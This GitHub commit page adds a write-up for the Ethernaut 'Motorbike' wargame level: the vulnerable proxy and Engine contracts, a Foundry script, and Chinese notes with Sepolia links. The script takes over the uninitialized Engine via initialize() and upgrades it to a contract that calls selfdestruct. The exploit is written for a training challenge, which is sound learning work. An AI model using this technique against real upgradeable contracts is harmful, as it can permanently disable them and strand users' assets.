Skip to content

Commit

Permalink
phipupt's update 09.21
Browse files Browse the repository at this point in the history
  • Loading branch information
phipupt committed Sep 21, 2024
1 parent 4963bac commit 1492ffe
Show file tree
Hide file tree
Showing 3 changed files with 210 additions and 3 deletions.
57 changes: 57 additions & 0 deletions Writeup/phipupt/ethernaut/script/Level25.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

import {Script, console} from "forge-std/Script.sol";
import {Motorbike, Engine} from "../src/Level25.sol";

contract Attacker {
Motorbike motorbike;
Engine engine;
Destructive destructive;

constructor(address motorbikeAddr, address engineAddr) public {
motorbike = Motorbike(payable(motorbikeAddr));
engine = Engine(engineAddr);
destructive = new Destructive();
}

function attack() external {
engine.initialize();
bytes memory encodedData = abi.encodeWithSignature("killed()");
engine.upgradeToAndCall(address(destructive), encodedData);
}
}

contract Destructive {
function killed() external {
selfdestruct(address(0));
}
}

contract CallContractScript is Script {
function run() external {
// 指定私钥,可以从环境变量中获取,例如:process.env.PRIVATE_KEY
uint256 privateKey = vm.envUint("PRIVATE_KEY");

// 初始化一个签名者
vm.startBroadcast(privateKey);

address levelAddr = 0x082198127b7d7adf8D3f035599F15D78C1C0f665;
address engineAddr = address(
uint160(
uint256(
vm.load(
address(levelAddr),
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
)
)
)
);

Attacker attacker = new Attacker(levelAddr, engineAddr);

attacker.attack();

vm.stopBroadcast();
}
}
99 changes: 99 additions & 0 deletions Writeup/phipupt/ethernaut/src/Level25.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
57 changes: 54 additions & 3 deletions phipupt.md
Original file line number Diff line number Diff line change
Expand Up @@ -957,14 +957,65 @@ forge script script/Level20.s.sol:CallContractScript --rpc-url sepolia --broadca

[The Ethernaut level 23](https://ethernaut.openzeppelin.com/level/23)

本关将要求你以不同的方式打破DexTwo,这是上一关经过微妙修改的Dex合约。

这一关的目的是把 DexTwo 中 token1 和 token2 的余额都提取出来。


仔细阅读合约,该合约是前一关卡 Dex 的微调版本。`swap` 函数去掉了 `require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");` 限制。这意味可以使用一个任意的 from 代币,从合约中中获得真正的"to"代币。


脚本还在测试中...


### 2024.09.21

[The Ethernaut level 25](https://ethernaut.openzeppelin.com/level/25)

这一关的目的是对实现 `Engine` 合约调用 `selfdestruct()`,使 `Engine` 合约无法使用。

仔细阅读合约,这是一个使用 `UUPS` 的模式的代理合约。`Motorbike` 是代理合约,而 `Engine` 是实现合约。

`Engine` 合约代码中没有定义 `selfdestruct()`。那么将如何调用它呢?可以尝试升级实现合约,使其指向自己部署的攻击者合约。

为了升级逻辑,我们需要确保我们是 `upgrader`

这里需要注意的是,在这个实现中,`initialize()` 函数应该由代理合约调用。但它是通过 `delegatecall()` 来实现的。这意味着是在代理合约的上下文中进行的,而不是在实现中。

在实现合约的上下文中,这尚未被调用。因此,如果直接调用这个函数,调用者(攻击合约)将成为升级者。

一旦我们成为了upgrader,我们可以直接调用 `upgradeToAndCall()`,并把实现合约更改为自己部署的带有 `selfdestruct` 的攻击合约

攻击者合约:
```
contract Attacker {
Motorbike motorbike;
Engine engine;
Destructive destructive;
constructor(address motorbikeAddr, address engineAddr) public {
motorbike = Motorbike(payable(motorbikeAddr));
engine = Engine(engineAddr);
destructive = new Destructive();
}
function attack() external {
engine.initialize();
bytes memory encodedData = abi.encodeWithSignature("killed()");
engine.upgradeToAndCall(address(destructive), encodedData);
}
}
```

执行脚本:
```
forge script script/Level25.s.sol:CallContractScript --rpc-url sepolia --broadcast
```

完整代码见:[这里](Writeup/phipupt/ethernaut/script/Level25.s.sol)


链上记录:
- [level(`Motorbike`)](https://sepolia.etherscan.io/address/0x082198127b7d7adf8D3f035599F15D78C1C0f665)
- [Attacker](https://sepolia.etherscan.io/address/0x20f8B2087Ba547c69c78B02A9251bFc543FdA9fe)
- [attack 交易](https://sepolia.etherscan.io/tx/0x262064fcd168e0afc9fb60166a271747ffc37204f38b103140564dba72a1e419)
- [新 Engine 合约(带自毁功能)](https://sepolia.etherscan.io/address/0x04611f42fbab6cd8028a498e9c825e00bd556dd0)

<!-- Content_END -->

0 comments on commit 1492ffe

Please sign in to comment.